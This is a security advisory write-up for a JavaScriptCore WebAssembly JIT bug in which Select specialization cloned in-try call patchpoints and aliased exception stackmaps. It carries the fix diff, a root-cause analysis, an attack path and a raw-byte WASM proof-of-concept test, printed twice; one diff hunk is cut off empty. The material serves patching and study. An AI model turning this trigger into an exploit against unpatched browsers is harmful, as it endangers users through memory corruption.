CVE-2026-65334
Overview
Impact:
Description: Processing maliciously crafted web content may lead to an unexpected Safari crash
Researchers: OpenAI Codex Security - Amy Burnett
Key insight. Select specialization cloned values without checking cloneability, and in-try call patchpoints (which carry a per-call-site exception stackmap) were cloneable, so cloning them aliased two call sites to one stackmap; forbidding cloning of those patchpoints and gating specialization on isCloningForbidden fixes it.
Patch Details
diff --git a/JSTests/wasm/stress/omg-reduce-strength-select-exception-stackmap.js b/JSTests/wasm/stress/omg-reduce-strength-select-exception-stackmap.js
new file mode 100644
index 000000000000..23211b1e2648
--- /dev/null
+++ b/JSTests/wasm/stress/omg-reduce-strength-select-exception-stackmap.js
@@ -0,0 +1,151 @@
+// The module is hand-assembled as raw bytes rather than written in WAT because
+// the current in-tree WAT assemblers do not support both GC and exceptions.
+
+// --- WebAssembly encoding helpers ------------------------------------------------
+
+// Unsigned LEB128.
+function u32(value)
+{
+ const result = [];
+ do {
+ let byte = value & 0x7f;
+ value >>>= 7;
+ if (value)
+ byte |= 0x80;
+ result.push(byte);
+ } while (value);
+ return result;
+}
+
+// A name/vec(byte): length-prefixed UTF-8 bytes.
+function str(value)
+{
+ const result = [];
+ for (let i = 0; i < value.length; ++i)
+ result.push(value.charCodeAt(i));
+ return [...u32(result.length), ...result];
+}
+
+// section(id, payload) = id, size(payload), payload.
+function section(id, payload)
+{
+ return [id, ...u32(payload.length), ...payload];
+}
+
+// A function body: vec(locals), code, 0x0b(end-of-function). `localGroups` is a
+// list of [count, valtype] pairs; `code` is the instruction stream.
+function body(localGroups, code)
+{
+ const payload = [...u32(localGroups.length)];
+ for (const [count, type] of localGroups)
+ payload.push(...u32(count), type);
+ payload.push(...code, 0x0b); // 0x0b = end (of function)
+ return [...u32(payload.length), ...payload];
+}
+
+const localGet = (index) => [0x20, ...u32(index)]; // 0x20 = local.get
+const localSet = (index) => [0x21, ...u32(index)]; // 0x21 = local.set
+const bitsCount = 24;
+
+// valtype bytes: 0x7f = i32, 0x7e = i64, 0x6f = externref. Section ids: 1 type,
+// 2 import, 3 function, 7 export, 10 code, 13 tag.
+
+function makeModule()
+{
+ // --- Type section (id 1): four function types ------------------------------
+ const helperParams = [...new Array(bitsCount).fill(0x7e), 0x6f]; // 24 x i64, then externref
+ const typeSection = [
+ ...u32(4), // 4 types
+ 0x60, 0x00, 0x01, 0x7f, // type 0: () -> i32 ($thrower)
+ 0x60, ...u32(helperParams.length), ...helperParams, 0x01, 0x7f, // type 1: (i64 x24, externref) -> i32 ($helper)
+ 0x60, 0x01, 0x7f, 0x01, 0x6f, // type 2: (i32) -> externref ($target)
+ 0x60, 0x00, 0x00, // type 3: () -> () (tag type)
+ ];
+
+ // --- Import section (id 2): one function + 25 mutable globals ---------------
+ const imports = [
+ [...str("m"), ...str("thrower"), 0x00, ...u32(0)], // func "m"."thrower" : type 0
+ [...str("m"), ...str("object"), 0x03, 0x6f, 0x01], // global "m"."object" : externref, mutable
+ ];
+ for (let index = 0; index < bitsCount; ++index)
+ imports.push([...str("m"), ...str(`bits${index}`), 0x03, 0x7e, 0x01]); // global "m"."bitsN" : i64, mutable
+ const importSection = [...u32(imports.length), ...imports.flat()];
+
+ // --- Function section (id 3): the two defined functions ---------------------
+ // Imported funcs occupy index 0 ($thrower); defined funcs follow:
+ // func 1 = $helper (type 1), func 2 = $target (type 2).
+ const functionSection = [...u32(2), ...u32(1), ...u32(2)];
+
+ // --- Tag section (id 13): one exception tag of type 3 -----------------------
+ const tagSection = [...u32(1), 0x00, ...u32(3)]; // 1 tag, attribute 0 (exception), type 3
+
+ // --- Export section (id 7): export $target ----------------------------------
+ const exportSection = [...u32(1), ...str("target"), 0x00, ...u32(2)]; // "target" = func 2
+
+ // --- Code section (id 10): bodies for $helper and $target -------------------
+
+ // $helper: padding nops keep it above the inlining threshold, then it calls the
+ // imported JS thrower (which always throws).
+ const helperBody = body([], [
+ ...new Array(600).fill(0x01), // nop x600 (0x01 = nop)
+ 0x10, 0x00, // call 0 ($thrower)
+ ]);
+
+ // $target: the trigger. One externref local ($live = local 1; local 0 = param).
+ const targetBody = body([[1, 0x6f]], [
+ 0x06, 0x6f, // try (result externref)
+ ...new Array(bitsCount).fill(0).flatMap((_, index) => [0x23, ...u32(1 + index)]), // global.get $bits0 .. $bits23 (globals 1..24)
+ 0xd0, 0x6f, // ref.null extern (0xd0 ref.null, 0x6f extern; constant select arm)
+ 0x23, 0x00, // global.get 0 ($object, the other select arm)
+ ...localGet(0), // local.get 0 ($predicate, the select condition)
+ 0x1c, 0x01, 0x6f, // select (result externref) (0x1c typed-select, 1 result type, externref)
+ ...localSet(1), // local.set 1 ($live = select result)
+ ...localGet(1), // local.get 1 ($live, passed as the call's externref arg)
+ 0x10, 0x01, // call 1 ($helper; exception-capable call cloned by specializeSelect)
+ 0x1a, // drop (discard $helper's i32 result)
+ ...localGet(1), // local.get 1 ($live)
+ 0xd4, // ref.as_non_null (0xd4; the Check whose Select specializeSelect rewrites)
+ 0x1a, // drop
+ 0xd0, 0x6f, // ref.null extern (normal-path try result; unreachable, $helper always throws)
+ 0x19, // catch_all (0x19)
+ ...localGet(1), // local.get 1 ($live -> restored externref, the function result)
+ 0x0b, // end (of try)
+ ]);
+
+ const codeSection = [...u32(2), ...helperBody, ...targetBody]; // 2 function bodies
+
+ return new Uint8Array([
+ 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, // "\0asm", version 1
+ ...section(1, typeSection),
+ ...section(2, importSection),
+ ...section(3, functionSection),
+ ...section(13, tagSection),
+ ...section(7, exportSection),
+ ...section(10, codeSection),
+ ]);
+}
+
+// --- Imports: a throwing function, a marker externref, and 24 i64 sentinels ------
+
+const marker = { marker: 0x1227 };
+const raw42 = 0xfffe00000000002an;
+const imports = {
+ thrower() {
+ throw marker;
+ },
+ object: new WebAssembly.Global({ value: "externref", mutable: true }, marker),
+};
+for (let index = 0; index < bitsCount; ++index) {
+ imports[`bits${index}`] = new WebAssembly.Global(
+ { value: "i64", mutable: true },
+ BigInt.asIntN(64, raw42 + BigInt(index) * 0x100n));
+}
+
+const target = new WebAssembly.Instance(
+ new WebAssembly.Module(makeModule()), { m: imports }).exports.target;
+
+for (let iteration = 0; iteration < wasmTestLoopCount; ++iteration) {
+ const result = target(1);
+ if (result !== null)
+ throw new Error(`expected null catch restoration, got ${String(result)} at iteration ${iteration}`);
+}
diff --git a/Source/JavaScriptCore/b3/B3ReduceStrength.cpp b/Source/JavaScriptCore/b3/B3ReduceStrength.cpp
index 999cdda89af1..b587e0ddf97a 100644
--- a/Source/JavaScriptCore/b3/B3ReduceStrength.cpp
+++ b/Source/JavaScriptCore/b3/B3ReduceStrength.cpp
@@ -3292,7 +3292,23 @@ private:
&& (value->child(1)->isConstant() || value->child(2)->isConstant());
});
- if (select) {
+ if (!select)
+ break;
+
+ // All values between Select and Check must be cloneable.
+ bool canClone = true;
+ for (unsigned i = m_index; ; --i) {
+ Value* value = m_block->at(i);
+ if (value->kind().isCloningForbidden()) {
+ canClone = false;
+ break;
+ }
+ if (value == select)
+ break;
+ RELEASE_ASSERT(i); // Select should be found
+ }
+
+ if (canClone) {
specializeSelect(select);
m_didSpecializeSelect = true;
break;
diff --git a/Source/JavaScriptCore/wasm/WasmOMGIRGenerator.cpp b/Source/JavaScriptCore/wasm/WasmOMGIRGenerator.cpp
index 11e808ae5371..0b2b90bb8084 100644
--- a/Source/JavaScriptCore/wasm/WasmOMGIRGenerator.cpp
+++ b/Source/JavaScriptCore/wasm/WasmOMGIRGenerator.cpp
@@ -4990,6 +4990,8 @@ RefPtr<PatchpointExceptionHandle> OMGIRGenerator::preparePatchpointForExceptions
if (!mustSaveState)
return nullptr;
+ ASSERT(patch->kind().isCloningForbidden());
+
unsigned firstStackmapChildOffset = patch->numChildren();
unsigned firstStackmapParamOffset = firstStackmapChildOffset + m_proc.resultCount(patch->type());
@@ -5597,7 +5599,10 @@ auto OMGIRGenerator::createCallPatchpoint(BasicBlock* block, const RTT& signatur
Background
Advisory: Apple Security Advisory
| Attribute | Value |
|---|---|
| CVE | CVE-2026-65334 |
| Bugzilla | 316791 |
| Component | JSC |
| Bug Class | TypeConfusion |
| Severity | medium |
| Commit | 9f07374e9eb2398e… |
| Advisory | Apple Advisory |
Terminology
- Select specialization (ReduceStrength) — A B3 transform that clones the values between a Select and a Check to specialize each Select arm.
- Cloning-forbidden value kind — A B3 value whose identity must be unique (e.g. a call patchpoint tied to an exception stackmap); cloning it aliases semantics.
- Catch-restoration stackmap / CallSiteIndex — Per-call-site exception state used to restore registers/stack when unwinding to a catch; aliasing it across call sites corrupts restoration.
Root Cause Analysis
This fixes a B3 miscompilation where strength reduction’s Select specialization cloned values that must not be cloned — specifically call patchpoints inside a try/catch that carry an exception-restoration stackmap. In B3ReduceStrength, when a Select feeds a Check, specializeSelect splits the path and CLONES the values between the Select and the Check to specialize each arm. Pre-patch, it did this whenever a suitable Select was found, without verifying the intervening values are cloneable. Separately, WASM call patchpoints generated inside a try (OMGIRGenerator::createCallPatchpoint with m_tryCatchDepth) carry a catch-restoration stackmap keyed by CallSiteIndex (used by preparePatchpointForExceptions to restore state when an exception unwinds to the catch). Cloning such a patchpoint would create two call sites aliasing ONE stackmap/CallSiteIndex, so on exception the wrong state is restored — a type-confusion/memory-corruption condition. The fix marks those in-try call patchpoints as cloningForbidden (auto patchpointKind = m_tryCatchDepth ? cloningForbidden(Patchpoint) : Patchpoint, with an ASSERT in preparePatchpointForExceptions that the patch kind is cloningForbidden), and makes specializeSelect check that ALL values between the Select and the Check are cloneable (kind().isCloningForbidden()) before specializing — bailing if any forbids cloning. The restored invariant is that B3 never clones a value whose identity is semantically required (like an exception-stackmap-bearing call), so exception restoration cannot be aliased across call sites.
Attack Path
1. Compile WASM with try/catch calls
Run a WASM module with calls inside a try block so OMG generates call patchpoints carrying catch-restoration stackmaps.
2. Feed a Select to a Check
Shape the IR so B3 strength reduction attempts Select specialization over a region containing such a call patchpoint.
3. Clone the uncloneable
Pre-patch, specializeSelect clones the in-try call patchpoint, creating two call sites aliasing one exception stackmap/CallSiteIndex.
4. Corrupt exception restoration
On an exception unwinding to the catch, the aliased stackmap restores wrong state — a type-confusion/memory-corruption in the WebContent process.
Impact Assessment
A B3 JIT miscompilation in the WebContent process, reachable from crafted WASM using try/catch around calls. Cloning an exception-stackmap-bearing call patchpoint aliases two call sites to one restoration record, corrupting state on exception — a memory-corruption primitive the advisory rates as a crash.
Audit Directions
Clone-safety of transforms
Audit B3 transforms that clone values (Select specialization, tail duplication) for checks against kind().isCloningForbidden().
Identity-bearing patchpoints
Grep for patchpoints/values keyed by CallSiteIndex or exception stackmaps and confirm they are marked cloningForbidden.
Changed Functions
| Function | File | Change | Note |
|---|---|---|---|
ReduceStrength Select specialization (specializeSelect gate) |
Source/JavaScriptCore/b3/B3ReduceStrength.cpp |
modified | Before specializing, walks the values from m_index back to the Select and bails if any value->kind().isCloningForbidden(), so uncloneable values (e.g. in-try call patchpoints) are never cloned. |
OMGIRGenerator::createCallPatchpoint / preparePatchpointForExceptions |
Source/JavaScriptCore/wasm/WasmOMGIRGenerator.cpp |
modified | Marks call patchpoints created inside a try (m_tryCatchDepth) as cloningForbidden(Patchpoint) so a B3 transform cannot alias two call sites to one catch-restoration stackmap; asserts the kind is cloningForbidden. |
Files Changed
Source Files
Source/JavaScriptCore/b3/B3ReduceStrength.cppSource/JavaScriptCore/wasm/WasmOMGIRGenerator.cpp
Test Files
JSTests/wasm/stress/omg-reduce-strength-select-exception-stackmap.js
Regression Test
The fix ships this proof-of-concept / regression test:
diff --git a/JSTests/wasm/stress/omg-reduce-strength-select-exception-stackmap.js b/JSTests/wasm/stress/omg-reduce-strength-select-exception-stackmap.js
new file mode 100644
index 000000000000..23211b1e2648
--- /dev/null
+++ b/JSTests/wasm/stress/omg-reduce-strength-select-exception-stackmap.js
@@ -0,0 +1,151 @@
+// The module is hand-assembled as raw bytes rather than written in WAT because
+// the current in-tree WAT assemblers do not support both GC and exceptions.
+
+// --- WebAssembly encoding helpers ------------------------------------------------
+
+// Unsigned LEB128.
+function u32(value)
+{
+ const result = [];
+ do {
+ let byte = value & 0x7f;
+ value >>>= 7;
+ if (value)
+ byte |= 0x80;
+ result.push(byte);
+ } while (value);
+ return result;
+}
+
+// A name/vec(byte): length-prefixed UTF-8 bytes.
+function str(value)
+{
+ const result = [];
+ for (let i = 0; i < value.length; ++i)
+ result.push(value.charCodeAt(i));
+ return [...u32(result.length), ...result];
+}
+
+// section(id, payload) = id, size(payload), payload.
+function section(id, payload)
+{
+ return [id, ...u32(payload.length), ...payload];
+}
+
+// A function body: vec(locals), code, 0x0b(end-of-function). `localGroups` is a
+// list of [count, valtype] pairs; `code` is the instruction stream.
+function body(localGroups, code)
+{
+ const payload = [...u32(localGroups.length)];
+ for (const [count, type] of localGroups)
+ payload.push(...u32(count), type);
+ payload.push(...code, 0x0b); // 0x0b = end (of function)
+ return [...u32(payload.length), ...payload];
+}
+
+const localGet = (index) => [0x20, ...u32(index)]; // 0x20 = local.get
+const localSet = (index) => [0x21, ...u32(index)]; // 0x21 = local.set
+const bitsCount = 24;
+
+// valtype bytes: 0x7f = i32, 0x7e = i64, 0x6f = externref. Section ids: 1 type,
+// 2 import, 3 function, 7 export, 10 code, 13 tag.
+
+function makeModule()
+{
+ // --- Type section (id 1): four function types ------------------------------
+ const helperParams = [...new Array(bitsCount).fill(0x7e), 0x6f]; // 24 x i64, then externref
+ const typeSection = [
+ ...u32(4), // 4 types
+ 0x60, 0x00, 0x01, 0x7f, // type 0: () -> i32 ($thrower)
+ 0x60, ...u32(helperParams.length), ...helperParams, 0x01, 0x7f, // type 1: (i64 x24, externref) -> i32 ($helper)
+ 0x60, 0x01, 0x7f, 0x01, 0x6f, // type 2: (i32) -> externref ($target)
+ 0x60, 0x00, 0x00, // type 3: () -> () (tag type)
+ ];
+
+ // --- Import section (id 2): one function + 25 mutable globals ---------------
+ const imports = [
+ [...str("m"), ...str("thrower"), 0x00, ...u32(0)], // func "m"."thrower" : type 0
+ [...str("m"), ...str("object"), 0x03, 0x6f, 0x01], // global "m"."object" : externref, mutable
+ ];
+ for (let index = 0; index < bitsCount; ++index)
+ imports.push([...str("m"), ...str(`bits${index}`), 0x03, 0x7e, 0x01]); // global "m"."bitsN" : i64, mutable
+ const importSection = [...u32(imports.length), ...imports.flat()];
+
+ // --- Function section (id 3): the two defined functions ---------------------
+ // Imported funcs occupy index 0 ($thrower); defined funcs follow:
+ // func 1 = $helper (type 1), func 2 = $target (type 2).
+ const functionSection = [...u32(2), ...u32(1), ...u32(2)];
+
+ // --- Tag section (id 13): one exception tag of type 3 -----------------------
+ const tagSection = [...u32(1), 0x00, ...u32(3)]; // 1 tag, attribute 0 (exception), type 3
+
+ // --- Export section (id 7): export $target ----------------------------------
+ const exportSection = [...u32(1), ...str("target"), 0x00, ...u32(2)]; // "target" = func 2
+
+ // --- Code section (id 10): bodies for $helper and $target -------------------
+
+ // $helper: padding nops keep it above the inlining threshold, then it calls the
+ // imported JS thrower (which always throws).
+ const helperBody = body([], [
+ ...new Array(600).fill(0x01), // nop x600 (0x01 = nop)
+ 0x10, 0x00, // call 0 ($thrower)
+ ]);
+
+ // $target: the trigger. One externref local ($live = local 1; local 0 = param).
+ const targetBody = body([[1, 0x6f]], [
+ 0x06, 0x6f, // try (result externref)
+ ...new Array(bitsCount).fill(0).flatMap((_, index) => [0x23, ...u32(1 + index)]), // global.get $bits0 .. $bits23 (globals 1..24)
+ 0xd0, 0x6f, // ref.null extern (0xd0 ref.null, 0x6f extern; constant select arm)
+ 0x23, 0x00, // global.get 0 ($object, the other select arm)
+ ...localGet(0), // local.get 0 ($predicate, the select condition)
+ 0x1c, 0x01, 0x6f, // select (result externref) (0x1c typed-select, 1 result type, externref)
+ ...localSet(1), // local.set 1 ($live = select result)
+ ...localGet(1), // local.get 1 ($live, passed as the call's externref arg)
+ 0x10, 0x01, // call 1 ($helper; exception-capable call cloned by specializeSelect)
+ 0x1a, // drop (discard $helper's i32 result)
+ ...localGet(1), // local.get 1 ($live)
+ 0xd4, // ref.as_non_null (0xd4; the Check whose Select specializeSelect rewrites)
+ 0x1a, // drop
+ 0xd0, 0x6f, // ref.null extern (normal-path try result; unreachable, $helper always throws)
+ 0x19, // catch_all (0x19)
+ ...localGet(1), // local.get 1 ($live -> restored externref, the function result)
+ 0x0b, // end (of try)
+ ]);
+
+ const codeSection = [...u32(2), ...helperBody, ...targetBody]; // 2 function bodies
+
+ return new Uint8Array([
+ 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, // "\0asm", version 1
+ ...section(1, typeSection),
+ ...section(2, importSection),
+ ...section(3, functionSection),
+ ...section(13, tagSection),
+ ...section(7, exportSection),
+ ...section(10, codeSection),
+ ]);
+}
+
+// --- Imports: a throwing function, a marker externref, and 24 i64 sentinels ------
+
+const marker = { marker: 0x1227 };
+const raw42 = 0xfffe00000000002an;
+const imports = {
+ thrower() {
+ throw marker;
+ },
+ object: new WebAssembly.Global({ value: "externref", mutable: true }, marker),
+};
+for (let index = 0; index < bitsCount; ++index) {
+ imports[`bits${index}`] = new WebAssembly.Global(
+ { value: "i64", mutable: true },
+ BigInt.asIntN(64, raw42 + BigInt(index) * 0x100n));
+}
+
+const target = new WebAssembly.Instance(
+ new WebAssembly.Module(makeModule()), { m: imports }).exports.target;
+
+for (let iteration = 0; iteration < wasmTestLoopCount; ++iteration) {
+ const result = target(1);
+ if (result !== null)
+ throw new Error(`expected null catch restoration, got ${String(result)} at iteration ${iteration}`);
+}